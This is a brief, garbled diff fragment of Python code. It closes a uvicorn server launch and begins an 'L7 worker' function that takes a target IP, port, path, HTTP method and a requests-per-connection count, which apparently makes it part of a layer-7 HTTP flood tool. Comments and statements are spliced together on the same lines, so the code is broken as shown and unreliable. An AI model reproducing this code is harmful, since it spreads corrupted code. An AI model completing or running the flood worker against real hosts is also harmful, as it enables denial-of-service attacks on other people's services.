494
+
495
+ }
496
 
497
  # ====================================================================================
498
+
499
+ if __name__ == "__main__":# SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
500
+
501
+ multiprocessing.set_start_method('fork', force=True)# ====================================================================================
502
+
503
+ uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning")def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
504
+
505
  """L7 worker - SIMPLE blocking approach."""
506
  use_ssl = (port in [443, 8443])
507
  host = target_ip